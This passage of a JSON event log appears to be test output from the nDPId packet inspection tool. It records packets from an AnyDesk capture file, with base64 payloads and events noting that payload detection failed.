qAxJtLXoD7kcvBSdKIj5OdvGTeX91IAZoqUhypTCUoD6zVuKLyzH21zDjZ3FOxLr609oerXUIhtQ=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1459,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +03994{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1471,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":385769,"pkt_caplen":2725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2725,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAf2dAAIAGAADAqAG7wKgBstOUG56PJ8hsWcQ1bVAYIBOExAAAFwMDCmpZ4hNO+msWJdMifS0Kj1I6Q8brK0ZdBug7+gXY7FWKVnvs8iWfwVo9nwxUOB2tlzv1Sa0AYa7gwsWGmB6+JIF+AZaVs1RL+gRYRnhqmtYEnBFn6LSQQ1ohvXxddEO+PqNZZtNA+YPerdPNnoa4RXkpsHoSQczsIFMsL9qAEetMFmTmf9iPpJoiDObP2MbHdotkR\/xL6GxaylG7V6BBH+Vcs\/PgtuKWyvz0taXcaYvUJBiLJyczf0NZ2TbkRgr9IX+qipqzFHy5k2WU9fbqRpWbfQmVTxfGdU4HadsvYHoc2yh+zDjvduLMAjJGCY7t2xMauMR1CSlZH1KYPSRKzR7RX7GulpzTp+S\/5ROpB3z7LFTx\/iE7nRU6eNmNGuuE5a\/PidnGbUngQcOxxhRdKz8utJ12CuRNklAIeiYKrufmVXPlk3zkHVUnjfP65xBfvDhiYsMN8WNNzJS5Sx7hgcdl5vqe6HK0AJ2EyN9oZBZYZA3P+G+Mw6yxkc44Dn1jxeIGzVCJ4iWWK\/DAldc0XShlHK9LwKoHWPdQEmAnm7R9bJpJKV0gYcCAkkfY504e993Agha7EE9DfGsMHyD8GFUdgoX3GJhLVwG9vqiZlUri8bHb7UGdmr79iyUm9z08G8MClZPWDHrf3aQhE1ZXXTHATrjgi6GLbJrzdSt\/pfhbm7qmX3WypzzqiqiAdpqYp43dTmV0\/LW2YMoqM0Mnb22lmCtLbHAHHk\/yuVASA0fQ2IjGwzHxv1r65zylxCw2Y3y3J+K916HmOOpTntR3WQyo83mqYN4EAFW0LZ+ntRTwxUYQUpkSXcLbs7KoYjp\/rDuYxdUKuodgOGKG6HN8gCHeoaY6ro8xzhniN5p9nLjfpst8cO5splLzEdijA4SGJV\/lNAXZtZddSTNHFeZVb\/HxS3EiRMT4h8j7Fz\/oyxfyPIqljajqk9w+uArq5uNG11YjgPRxY4Rp6fCyD3lgyLn4izPm6XnSeDTzMcoPTPrzT\/XAcGLbQxhsdTHBzRZfXHsGBPuVtqwu1RTfDwuxhjNiLnAQVtbdz3tnP1ccwU+3w8j20cadwrvAC62PG699XScK9HKwSOBqsdXOaG1W78yL7zz19PrmOJxr24W\/cFXOQe\/fOU15roFeOmMJqNGGb8mG3WCmUj0U119bTXi4+VMptwmU6JRepXJC2su22MGu8CgkngOnG2ijW6yKWL2dZe1MstT\/YzLcmE7wUx49HcAAzF9qsCnmVM1Bur\/08R50ZcLJSYcWEspAFgztBBaTOQjao9VT4zKhptxsqX3I5ThsGlkftaah5h9WhRr9Uwhb4+z75Ra5fxa9VfIKzYTLbZ3gG2Ngc81f2Mf+zNsdqWC6qrs0yZRqWHtO\/NqEDp2CflGp30GYiSv0nko7ZUmz6caYm+WqMBWRX2TgceqzzzLdmO4z8CtBaeF6u1KEStTknWEn+Gt8jG5la0oD99sNrze+0YFEsAon39Y23uQvsQho1MZqgFj5M8zrmd0fENNOepaDgq3C+6WQSwlJA1Ijq9jWGFD7ydnY\/S6nq5RnL5IwZe2Rzs+mqUiJK+xTOoOWWam4+RK9CJdD6m3q\/NYJKk6vkkdhTz3AJDHrldhFbE7\/x2ZM0\/BuzRumkmO2ZHlqsjBqH31EST0wpRVZXg10\/01S70YKSkeI+DAaM4pHwJcPArJoCWDclhEmaJ3BJ6v8xaa17T7rs2VpPWxRmQ+gpmKFEOzUl73LcoxWE0O\/uMBCm0V\/EArqmwGsjLIClOf9QSgiw95YTh+AiD1vQqMcHqdnvHj4Eyw0XwU3iGrDpNRCBHoBEt95RM44sTTfg8O8zjCOOXxl96ZTIq7xTlYLH6Uv06c8kogDDmyPlS4v4JRTRZJ9aERGGRJEOtOzCfMVE1YB8z+cuc4Sq3m5F0wjNO0NY71k+SrVrMZImRlleGs7K8UYBxFoaMzc0liNW4YPkGPFuHkLJG5uuMqORI+vY6O3QAs7WHa8q1\/XgPAZU3M13\/CDsSRWqq72v1fC6txUvz1zA6cBKatR4wzRFn+BbhwewfFRESPK1jWPGTkPooqgnfXGrhM\/7TCVnK4uW6m6KdinlHr9FuDON6yOnepbEIxFsCaEk7O4Dq2S7yGg\/MZY\/Fh3fTChCRkBycDURzcEdyBPMYVQ4\/Zp6VbA2GFfnikxi9cwa291KW5cvROXq+7nNaOgCPFbflVJnUBk4\/EjME4na6Qx5cLBd9dDE52sz3ndsVghkgnf\/Uey8F9Aeuy3K3AcWsyDBXBG2RtujJo7yMLh0eCw6tUVOXU0wmu+1TCXuLEsIUaGIgpiHE5Xgyd2bTce2+DMyKGGrvt14jao0Bqy2xM47PBrzVkTOXkoXqaMenZTwe49arcALXskJCbXvJEDw3ySt\/lfWDahrmVK90lFSqknqa37qhdshY6XZp8iDmkWOAI02yWamtV+HonqV0VQxCOPDUitXFELuS5r+CjS13\/bpDIIkXClwNUa8BK4gU6FBnf8fR57SwOxOgwH1MWH36xA0MD7rvWtVv7jWr81GgQAWnYSL\/Qhq1CLrCPZnrfR0mW+S0L0Lfqne06r+Zm11Jbbfv7RkCAlF\/jQUbkODf8qVgAUxsFQx2ZmZ4P9+uh1we9SSAZJeyX9OWEkd8hw1wgOJmhVNhqWZYzpdAXb9ghBKKWwNgIXc3wBrAv8cN0P0divn\/cGVD9yC8J64HXBoX9LRUc55QeaaD72loQQUi4u5xP\/6KzVqBlgjN9mb1hZzb1z2wZk8Tx4sHfFcThZfMh5Q50iLFRwZ0+psNS\/BepcUuFqBvL6rVz5dUnYuEJhVfRUEiLMOo2pAfJuwbdEBfDMuC71SLDllBPcVSSxfgdhHM4yEWYFKUmVzqhC8vn\/fwTQxmnKsif6OjaoiuAxOax5LWlWbq0RWBc6WcsVClDU18bGjkNr4fxcGEqGEOAwTsN7jC+4rZHJWjb2m5cHzYpYbqSXSSEOHQM1CFwU1e4ot1SHUIaIkOnWpEG\/dpnUS20Tkx9GiP7x18St8VUnlTeY+45DEQKMijXEsqcRKnY49km6b3xw5GT3550bNinrl9oIe8tMSO4q7\/lugIrRiEMyS4kWNaM9an1KHdEv3CcHND6i49AYOCJqBMoNebH1vWqmIoJ7WUqfTDCY6HXmjqHrjhQZem\/pkEUbIUPH367TVN81QKawAfAYCveXcPsfogWTvxFkHKAaXjNhTSHdj8fQYpNyCDHttcu2J+bFqqgIh8vJWb+y22AVt4yyXmhX0q9\/B4an5jZrrMX+3QfyInx8XHGeF+KAzw5ItlDz6BPtRebDKqQfmPj19kOmBb9+8F\/cRnvjHLun7MsOAuY\/QU0vGqnDJTEH\/h8ZJedP3ybAj1BMzpKPxM1IgK00YXZAML8vxxFpxQvQg+l\/BE8JHOw9CwHOGx5UdZi2F\/2dU1S7K1U0NZKxD0p5HijJu+B1zrvo0UrSOdg1kSvsZr77Me\/fFQzEtNXk7AbGsERidIBBhwz7x5oKYmxyZKzpBfkipSV10ZEQl\/EedxaHZmxcCFfzJ2ZRlw=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1471,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2691} +07828{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1473,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":387835,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAf6lAAIAGAADAqAG7wKgBstOUG56PJ9LbWcQ1bVAYIBOExAAAFwMDFXlZ4hNO+msWJoh2yd0p9BAK2UXkUpR4jidlvOSCoiL70ZLdhvEKSxHbS6I2qny4Z\/sKq0kOURE88\/BvBk5FPHes42OE34DlUjImEmUGvnu4mssjVtGrw9bOxlg4bQ5Lfhpe+TTOXHsrtDIQjvYNKsxgv9DunO99UO70zpxZgEUl2wgqdQ6hRLs9feEHdmdAaNrxE76veBn\/\/K6mZRN\/tSiXQriYscfYnoACylH\/p7oU9q4Nafh6D203bxhRRBxViO\/WS31CWCmkvWHdEjWFJrNWkDgb0L6Rv7TBg7lpebShoxOXnxpTuGWsfnUqdkZO6pS9G\/IZo4nrVvJ7XK3Xj1U7g7ceHV4BIkrFpG6EZBcUP+V8lmZ9JanhTyYw4TImQJteTKWgHXgGt3GS+4k8SeUFcRlLnvvKZE3posYwU31NzKwe5xCKPiEvq6VdL0+LrO530epZNDbm7YOBNxEfaScK6jVbxA8tJf4Y3AjT4MwyKZ8P5HIO7CP7t2LZnQ1MW2LvfvoifqY0DJdgRDEaG6hUsi3SZDahyeZzKGBYjp5HEE0rhALpJ6xEmfoolpAL5Z+DsR2zsQBuWeskgdkkSH50cM2k7amGNO86n4I4Yfx0XHwNtcLHk3N5A886xLmKMcKvJnQV71qjE9P25rILcoO6Ko7lmFC784yQS5Oq8x2TREOcxZxNp6eq4fiGCpEJuSuXUjujyPcpc3sqzQdQAD8UD1IatOY5\/U9DbRPAg9N4WppI96xEhj8WPQaWfcKcBwwUBHsQJLQsueQotI4XSktlVVzR7d+QdWVqCAaD4GRJxyfa1VjGg8HwrnGOVEOlMy5zTqOb+Y2aqHSfaTTeHeZJPJIY+\/3QVN5T90u64TymqHKlU3Z601mddAdKV4blzYRWow7cRJtKOBwKqZZhuNrSGCsDA0DidjSWqVpsK+mcliam87D2kZH\/ULYJVlphtZlSb6hdNSTOLl+GLR9b8QaTml5aHjAI0jcHCqiptrYEqjhZ9zGWwfDxCTPyAP0bXeftBs48CvEiv2rYdXo3o7Nh3lT\/9AsLvQiD00IG9yK8o9YIfv75ssC4spG77+OEom7hPYl2yfnyP5occ4rS3NCH03Y\/uDTRyH0ogC6sLjCcXNAmww+CkMUfm59OB51rwnio0pa4xDmAFWLU\/Oi5Tw4U\/d\/9WvwhuAOo6sA2XNIkmFEZVSyD1Dwadbg48VFOQ\/2v725\/E0EkU06lRBuUOvAfUAVQRk+E5taD\/lfNLX4p+Nmd67\/hT+8jPfwK16veB+DrHRiUfquZ6Kxf2\/ufcNDmc8T6pLF08nWj59dCeTQcgXKCGcexebmLw6my+1Uqy9I4asvgI6MsOthv6Wnkc+yuo5DitMNMpiC1sclPBjbIhqzozkMIfEh5jfzAC5LiKwPEeyd4CvmSrIN0c5gHEJJFJbihRnvae9t8N3xJ6hIRvwFTs5f+IFpdfk4V1qMFesTaDHMsRjboWeGkigD+ZY0zUa66vLu9COs986wY9fzoB3SpMbaodc0FjHBoS\/wCtODt8IdWQ2ReqhkPL+A6ORL77Q5rnVrzc\/+O+1fs+GHEMBTFcCsS9R1uThDCiNNxYbzXKbU8XsA4KENfl7ytXNgy4A2gKazYMSQFi281eMfRdBHC5STqS\/f0uo0rmd\/04lS0OfaegNm+4+EcWyLvz4fifMW8T2FQh8EC1uLmep6vE\/N7Iz2lwoVD1qGSRQpHz6DgGymq+MtpAaUC\/Qknf0H6Iw1EnVz7SPhAWcyqQfMpIGTFLDT8OyxrF2YVWIG4LnBi4IByoqYwiAmEHUhOKrI4XfhQI\/FevuahMc+\/UhhcrfUAczv8HTeK2eKx6vMq0d4aQRENg+99sdD8RdnZxy+5TBHegDMIXG+jrihKnSNNKjgZPOoqr\/KMPpxn2nr0sDGTsnDToVYyURSvPDcL1nQxf8c6MDypVP1U5sKMUb832Ku5YMPVHF4Mlbmf2hHI24iefle0bIpERxT4KgXto3sfjLShoD0t+QB9hASW5bwr0YvwuTkzrk2LpNnk1lZlZG7Et0WZVbGKvb0FsBOpUhgx7aBA3BfkLbTL05ErI\/lWBs25lYTnawAS9OgwPzOUT9VeeKSNooLPxxkRLuLu5S2J5LWB\/TYhA+KYTjfMz8q75BgfH\/G2oVcRUchNQLA2dCLRT0BGka8smDdYyN0Tpbsn3LVPp+N7Ks8qablj\/+OV28KJwKNIJaIxLMxVqlQWyJNVuUtelMsX80vy3WbqGiVR0\/cemZH7vwyZbdPu8zgyUEFrDUm8uOpXsGVPvHsVALAAFfNN4\/zVAjJkkYVD7FjftXi29uMlXRHXMAT4THuhBbkPTXPaGnb6RR\/0vDoeg0qk\/yf9X7njHzAbyB89wBlIdXYJeWTzUOp1XMf09NjrNWyc0w+NctHl1rLuDAkI\/zJJH55ZNvnrC4xbkB\/y\/uD\/NoSCGT5IMK0KxgKzZpOyaIjATOOzfzM0RTWuup9+\/\/QxOiXkzcyQmB8acPjoW\/r7kWeI6ZZGKmCBc7vbwkfDZRhcwcfRWKHZ81zaJxBeIz7q+ljvjBuDsabrRSbbQ59KfCSrpc30VYvekL3K0T4XRRIhyYgHiSPIrd8BLzMRNCN66lwFYEMma\/D3C1qUpl7ev4GDBtNKX42BnA5odumfDjg46gVq3XmcVGj+ANkCfbKxdeA3GgI3rp46qT6Esw8nWnVLE8sbKUSa+CdBlggWu0kdr1bHtAV4B8Muogv2n20jFyb71qldqZFqwHADn3nz\/yV2iM\/tNjDbet4EbfA8STYNdoLEk1ZqcaXfu+PDLhIW19Gss\/lGFKVbf6tbLlfGHIezcMyoWOr3unB7cATnD0vcKiSdBTaR2aA3Csc+5TJnza\/NSifs65I61sxFHMhs0Rhv2TkfK1PDVhRr5+AuaL2B9i\/mFvAI348kfvrqTNX3ygChyxQNbN1s5B1uBWK1FHcgUXwckRlDZlBiaHhZruJiXTaWPu+VavbQo49tlnW550FAYbLZ8\/REjUk2KVptv2N0qpRWRZt17MUxKCg087fu\/hvA3TV6CkAdE9B5448CAl4LLlcY1A\/yKP01wEqJdRpLilFZ9T\/zWANzwRLd0uMoBBk4I+45+bHUa\/fJFUSFsG6RdMj1wxDsgQvHeVPwv4UAK\/xuKz8EzneQGHVxJZz5M1C7n3GUVQiSNg9UaW4+CgsH8Vo0QBBA4a+78zxUlsqE4d0d8RWl3Pj8sXOVS7LeDnppLxlbFAL8KpXN32Dsof3BN9yEH8nV\/RcTs+LoPhYQ1rroFASWy5doqXPG3P7uadpgakNip5rncASG8IAGw\/CWMvz+8g\/O3Q\/fGnZmFxZ6\/Xoj32riJVsXJOFFyw0gi7t5aJOJ32RKAVDmP48Teb92QSe7T9R0DHzTNo0ts2AETwlhNtU3ajwgb7YB2igqAp3IbQ7PO\/FxuAX6bMAXS9u6tf9FQiut6BfUF12ENNEU5gSojAU5KLazYxfPSGMj6EyRIC9LG17wcd+qqvrMD9TwzECM5PoJ6jU\/Tk0\/JoxtUDBULBKxIygNISo1s3G\/4IwxScA681lH+0sWMaEfMAae75uiRKPL86tm+lbgHQAF7btGToxxB93KMvXBCQh4VsylQCbbaVgu8pafzmt4OQN+lINVCxISkbbeI8ZVKiUyRA\/nOYvJy\/pkhYg0yCsatACczGqtIp6\/PpZejrv4cfvQpbUnRAhNJLUuxFPSzjkDsHSnnEj71qS27MKAtXKsKEhFNpKoI\/YzDMdWyYF+EQuIpBQm5KFb252gE1\/ZTdyVB2nx9qP23kf3cdq756nv6qYooxzrPsHPy8cjVqJxcIJaDNgHTuqXp1svLlNSfCufCWV6kxtRP7+UjOeJEdaEYjBnx8FQk7Bnw5KgpzPzZuGmgwn7Fi2t+bqVSebLv\/0ukK1WpavqZEzbZqOndle1ClTUxiBHQUIK4kI83mXrwvuiZtdtfHu0JYETExCgQNZi9Wu93V6NjlrL7fLENNADNNJDOsL4pbOqrqoXWJ7Dd2ssBKbGbgx4oFmmY2R8JkNv2djFhqA8wcOE\/nummFpG2kQf8+dcBJPEaEehI0YoYtbcTSoeRo1D+8oJlJfwn4ScAUEZECvLgfUR9CzJvdEWh1dmO+W1Gd0hp9OA66KSXafrw+kX8hPGLUQvuPtrGy4XSp5E0gSw7cMc1DvvJBJb9m2Aoq5XfPTvR+4rUynDsq7iUNS4VLXUyJzIwxJM\/UTTBp6GyR7enK7hbEKVyc7SoHI91cYJYI6UpI+Ye+lF7+I8DqLk9B8Mg\/po5LpYv2et17Oei7jh3Px3+IYhwv9oRPHyyHNi47lXWgdAUXp2Z52YHNpJhun9Rw8PNOsqtqGmRNghShkZwwd8DE82KrW7LZ69GvWOHE7dnfwa6eE6brK6hPv361LrE1x+Lw\/1cDc3PRWDe0jy8SVkyaBVKuo7vgkGWu2Radr\/YbdEuttwgNaImwfonKCKR7Qw3nniLz2tNugGy61nMvpmeaZ7ROAqka9wvZlRwKNnI8R3PAZLoAZaeTS1q9TdMfe1YDn\/kHeW39TC+OZreU4o0LTRExhoXcdW8ytbGgIA24NdCnIowQfz+e5la2rq8I8vE6hbuJeWWqd2DKQ9bxUjvX19cy4DRJnlSTT7NefB6pxW4H5U59IZfUIdjWusJcN2vE54YqzugcSLNcDMT2c4zwthcmduchYca7kPNWhBT0DUY7ctkTq1znojeTuryzMRvEMVb8tqu17YvU7QpFs5aODUbl97XnyklcyEk9wwb\/OBfRpqbMnTVbc08k0Va1LzkDGTHm3OgGjE+mzj8+x7BxnmHLclomeUUOlQxFfAAZMhV7W0TgXCMyh1aFuKAEtGJDw94MvFSTaK8XEm8yvM1DCJF3ppzLULclRiJ\/1n6HRWxGIrgxeqAZU6WcoGKuX62UeEpJYjCb6LrWQAkVxW2ZgTm3s4+ANY5dKtvwc2JQ8d704SaYawucB4W7evOBcqJcLwCtTOTVPcQNevn8i7Tv8nRSUEUutEKWm8LzuWa1aDOfUxrSxtKWmdds3tkkRFcBncMw0KWizasX27LLso2LbmnScBAVIenmMQojmwsQu9IYRHqVdDVJEHDQiZK0Tx9DvNr7foUqXs7m2XyuFb8QJ+wNB1Gor5FskLMnaXVOWTn1OZCuTYuS1mLmsYCPmpXQMLSz+3Y3Y2m5R1oroFYzAXbpiqkoWgQtnKbynX6UKHesNtePfQJq6K+TGiOfwyjz5tJzSxTsfmJxv16jC58wmJG\/mQ3JnQOiM5\/o9lXfgCQUk7k8yock4PIemvnRwsMVgm0Mfi7YhAh663m9pJmTxcVQhXhna03xXiQJnW3QNHh0T7D1ZWDPrEegmK1XeNb1x2DwX9WdQBnBFmHkG2evkKyVZ0o8ZwEWj5w3ks2mIJKqQ9cqBOam1VA79F0Gdf9gGyzeAgbCf6e0hFjKCiLdWwgm1BUsaBTIAq5dRy8BmX55odGfP1y45s\/4r7etdOkWaMY4k0BEtr9fs9U4nm4Jj20MV4SdeoDjUaPWf1Sjx7cgJrnImdaDXd3CJezlN8RWHruy7R5+wZuPHGIVaTjOQ2tWEkSziAJeiccy\/Ehpp\/0z1OYWZDIYVPdOWPYQ+VWBIOBQlifNfDcEPx7nRKoyndaiJjEqHKJ3iA6WD\/gY8h7bItnpfmh7NeIbQXN1BRi4TDky7VKVbzxokunrXQl2svgdwO\/Vgv6aDEoSv49CWCRXiCALUmlRL8HMRijuVdDEtbnl481NDyHPTo91dGhlABTI4LSj5WLIo0nxulL1\/d8juOXWTFP+qOvL6vhKl935CI9PYbvcrjz6c9aKt7HknPwFNZKA2GZijGPPovXCiKhIf4NVL\/fjV9rcvTWeY46FTgAJ6SPeqEtV4AUiZBFe8\/bVD4SCEc916QdtNIa1ZolKE8zaEuIdF1wAzHDYCN90lmMsEQGFCtE8QseFy387h2zytBKrQwIBp5GuXOsv+k9k1cZ4v4whylN74sUmZ\/ypuq8cVkEzfuc8hvxXf1ehFU9ZxF5NhP0IyoDi4OWh+XmA4Z2dRVz1He20ZH9iUoCLj+Vrd5w8dSbIRkyRRYqIRhdvOcnhz+aOl5pSrOVS6oTVAzpVbsC4lagAVG6RMhYkT18gHmLzAqYGwUryoGgacRjXMYrE1STr89KPgIXEgk6F+pbQnUjBjKSVG1yf\/yd1Ujcr4Ny7Q3uQS57P2ujkuPKfSMVj0UnSydJS2h87hWIw3bKAr+PhV\/eEsC0gwO7IXQhlUGOpvMWlGvZn7kF8h5q9iCj8RVRrNp3hGChjmgt0mu4mAnWJWffb4vbAte+eB\/j5K74l\/I6HqUB4yOrfkmUdEZLiGYh8\/a2jKV5ZxSiCXbljulwP4H9w2+y4AaBHOx14Yc03S1lYvdLIpr1INwfRErjOGYvJVNTlUB0ObVtwpCY57KvcR52rzdATE5fxFiOUDrefEuXOX9zJKDZiinAyd6hSB2sVyJChjktH42B4CF5iOPgNf+E37cmTBsSuF2W5gglpIzCMhaye4ybTch\/Nz9lVRlubiNOvhilIC58nUilXu053YNVKj\/HyOEqoqsdfpKOh20kgGZMpWguKT93lN43MvamujVJZydFuK8FKvi3TJ1ss9YmjkdqCAEbsLaZi0IiI3OMk+wJ3crkvRE7BeYsvBuEW33LUJzxTvuD0tKb8WmzEuydrnCJSPPIJuT\/WdjdUT1ecQgyy44P\/C2YpAu7lJCc8qw9GP\/C6H4OooFrheQbfPGslH7HMtbGBhCiDlSAZz+TSlTW18iOj652pDuDBKVdfwYiELkRNm7NtPAYIm962gqKt\/C9um2mZhYs4MaqMyPyursLibEFSqAEWBHobxg8Wy1G+tu\/2tgWX0vnIaIUuxXp9ntAp2z\/VWhPXolpp0R+2U8EraD6Dt8U2PMKUKkQa7WhudL6oiXBz6dEN0KR9qXmqNoyTU5Ypu52PFJgJfLznKpfDc4z5vVzUwX\/CZa99Qg1pReeF1geY5jer0w+rlBVufKIWt8BO+qjbU1uaTOCtiieFXc0CO9n\/YHnC\/g4FbeuouTH4W+OdlzsXeXmh\/\/UCjOwQAl74bfpTpcALnRhpojxLIX+Vqja4iV8+9o\/xmBLf2zsNYgtIfX77ly6yIN5Dlkgy\/sd1bvUnfcYtSjvut49nUv+gn2aFKYsW3Xjo779Xu6bQ\/E+bfI07c5iz8VCkbtvXosrcyKsD\/fmx7N0mLtNYWYJW4lWWat3szY8binDqpsD889xk\/+T\/0PrJWxKHXNFlrdFZTJQSkP0DDl8NJl"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1473,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07113{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1474,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":387869,"pkt_caplen":5027,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5027,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAf61AAIAGAADAqAG7wKgBstOUG56PJ+hZWcQ1bVAYIBOExAAAFwMDE2hZ4hNO+msWJynzTuF6vZJuJemwu1bOg7i5NYGmdXl1nQRj9A7vlCTnRh5ig0AWPcOW1kVoY4AnfxI9e+66RJVlX67fV8dpdizVh5udOn+FDpzMUq7v80aafPpAYx+y3K+RV6AF61qxKMABG6lRPVsvSXzVRYvSapkrOeoVqprNLh72fj1Ae+sMFqwzeMLAKBrYPT+4fe6+AT9y1e7pUhDTonUQ8UQPR\/wVD68oNysGWNWdr95pAFDnsXhel3MEpw1HFBamDjt1EMeQF12xHOsLWJaiAKAx2t4dey0mgdd\/zxkoJwnmRT2CF9Ndx+\/SpJH8UILmswAdv+XKf2uJTrz2riYnyU8kdaaEHetab\/V8eQa1tQAHl+QPipQf7dhBCVNDbo\/\/gQ3cQaq\/hFglbUHlhpJcE\/BgayjDkhcuRQgQM8OmeeAJod17WB\/7FJSLrVLHvw0LunV3W\/ipC9L+5E1vtBSVJat9N7UWHHjkyFqf4EkkLZySB1uRCiatwM\/dqTLrd8ODR8C84ZDCS3tMMmB+eWtJeYOXJyEv54mTAbZmLgAD89MiTf4luGVFMEg6D1TaTzOnjAYTBO6AuRExp6tErMXmY6wCW+Fbzacv6iIabI7K53upTWGnQ294us2eFSbzItuPhN90daoqVVjIAWEzdQgqTcdjjmWmYndVt23kQqn1uuZ8tsCkorGMSPFo0XRR\/XrKyKk9syP57L+XuZRVuWGEz7UMpUdRtYB4GTCz3AWY27oZkroXUsP3eerO8suSkFR7HRVUSFW++VNHFNBPC7jwaXmhnNdciJ90hFlAK8M6Rk2zQygkLUsNIW977d3Plt9ndgYBzNawQyJRrRnTufOZQrJNW75SjfVI459QDodlXYRw0L8Lk0H36eC1UoLHgWljI094xRdmIbflh40F+785Ll9EYLB\/0rOq8\/ESo8c5yYVPlhwmv\/AxaIugikJTUo7sPfnkm6FOC9RUfI6juqgvwz2b4lRjPmBh9LJX5fyl5yj1T6BtuRohaArkbJz8Q1ptQxh5MBCcauupMvpBwcOWettuh8zg5lw7+6dk1pf+5+h1Gzo5E+N4k4UaHjFDvU2Uocc0j5SXznT2CliCmHLaCIZ66S7XOQlF0W\/1UYZyIU1zlOCM\/l0nFp5HDzEijRl4VgA\/aKwhD8jNPPWJcBiE43PHcpHg9fpHem+paOOXDhepBEaVZZX83VYJMB4qH6E6rE0Cu61eOraGTC7mULOXkjyfUYND+twX2nuwJB4xWXW0C17vQbztZ9yqza10mCeOfgEcH3+14BBKQ4ZJzze5Aby84+Yb2zXG6EMemPLYuChB7ITNH4tS7TjpMP2C1f+4+OwM4ThvhvNZ5YdfjsUVw+Z2yaitKd3X1AYVUKMYkq4j4UceiF2mzTOA5vKFUAx2mP4sAUp7blPZSeDxb\/YSmDLB82LTjQ8fbV1STV+66IxtOr6JyRJ1VNNjnvFXcdR3KEh39j5YsUMN2pl3KO6lBBqblq3UTwziL5KwbuHCHbxFXE1T6FDgthg9WqmjSt\/SYs3HXRIL5CQ6ZatO38zQhVnwFToPgpmXkniSe72F4\/eN3ml9yOyUHALjkNAr0yeSYJsmYGwLTibR3ppirLNN6M4rWYu3MOyPn+0DCjRlmNy8qsnLC\/kQWO3H7bn5GLxotmg52w2EUBmPviJEKLX9MEZYWpVe5lMhnlOsXP+rlyVT\/64Ei3H\/3793aA7sz32jIv1JOcM\/4e9\/n3I27I2APaoeKm7crSrA0XuKhirb16O5poIuAjq2u0Tg2aNGJO3LwfWvWikkfL5lP61C0GnTINrLC3vE34qdGCzIf0dQWDA04LVynTnGO9r\/Ux1aeqd1TRJ+8EG\/8DATzIM2luTVBBg1ZnHmr39Ic16e7mYYiyUPvBzHBl7CGbRmvt9+WqvWyKEwGq1sw46lRaK3evTbN3mZh9Ju0HPr3Hd4oj6nBGCVqoQOV6nKXPzRrjY5gETLfZIoXIpra1ER4cCF8wOH6voW7r4ipAGSNbPJhpg\/ZyzCktlxXPa+IX3v7esYlVTbuvQsNUXQ0s79\/CJUBZVpKIIjA3ewSMjAdLI3hESYnmDRFNQhnns9floeoZBRDLyzTN2tZb\/uBUR9UUNsegMjKUqsLURVtbUCsvp40sfL8StvItO1MezSoYL78dY8HQRprpx3EMhwkOdLxEhvMe9LpfMUhRca4qX2Nxo7XdkOjll3y00O1ipoNbEgVpQ5mYKpYI\/VBfDY0yNn2\/qGPUx8QhV6EM5RGg3\/gKaqlLRK0QG4r9HxYGpaSmQHd\/gx6vBndEgROR4Y28aHwN6n2RPoxCaihLuqMTum5u7WCENiznFICbVx9AD46kOxPrauqbnck242\/ifNHEyAJY4L38m7pmKt3j+N\/UsmhzBmzXpYY12sZNwxl69EwoET0vWKdOVTMtiLPe02vU0rjpW4854wERpnfp9tSGAdKy+v6OOebVo2PbTLu2evKEp+2htfD2zcZc\/RHG1dK0Lc\/BPsuywIx263pAtCQ6FP9wHMNj7cK6viYjd8EwY0nFMqkfShLzQg\/1uE0sxm0ZnBOwIdLSAd1KTZ+FQavhRUlGhat8J5Cq\/fbpIssZMYolt7GwYh7eD5oGFFCy9ywgEv9Vqqbze2ZG46PDngZ9uEsdbZAyUP692wVzKvbP\/bTbWjrSM+pxcm8\/kHqR3c8EvpvdQzaTpANOdwmVT2MXvd2cLXupJwTji764MEGlTch69Ldxu2oyj8ctY3QlV07iek9VxSIS8h4WfvGayGsfZPPdKMXXzjReVVAspdfJ020WgJwARTBOQ19+mePM9Ld9lfnVmGk89VZ4Dzwr9cmLG0msjV9cuu\/F0m8WH1dq\/jlBNIFCake\/B9Wgplb7FXQgfnNXHMasp0WQDGTMg3DyfhdPJ\/zUCuMlFMqxuuwDay5EMyHz92fq4tJEItjWpV1Ob7NA\/fMoMP\/mUD8DKW2JecpW6rrNmHHzwh2FBKC7N26Eax0\/AYbj4lvP4aEOsZLfvBoR3GdRGDN8D3pWdPeLR0ouMCjKLZa5frZ9l9KGh6\/EVF3Xp\/GTGHB+y\/Iq5pVFfWcuvGwat33A+ikoiCX+3Gbz+DXaIBBKzt8bTUiZilojFqXN6RLj6gHqbEbu1EewBSbu2vBTjdZLydpEi29kSBPTy0aYwRMSullvjjMOErvV8X+yEeNJHfQbUpQUqEQ8AYpyqgk1zt6x4hDugGS0dvccRfSs6oB7ghIYlIWh37kQhuJrOKZx0PRQyMUw2rEYBDmMYlfU3y+MyDGdeVNNFT2IPGGs5+UMAq5ir+ZYhuhQfxjKMTzzlAQm2RPlKLIA4WZyM9VCMHQ0RMLi2\/ihTBiCmSTEfNV3kXj1ZeKT4KTCPsU1QopeOZsWU9LkEDzig4t+GHItHlWj9l4xfbcoo4QqmclaMGHSQDhZFxKvijpPnCY\/aDyLQv\/mUA+T8ijcTeCiTGVBRT1YICfM+5rHOKuui\/bEiNRApfo9GthDjIl7l03Um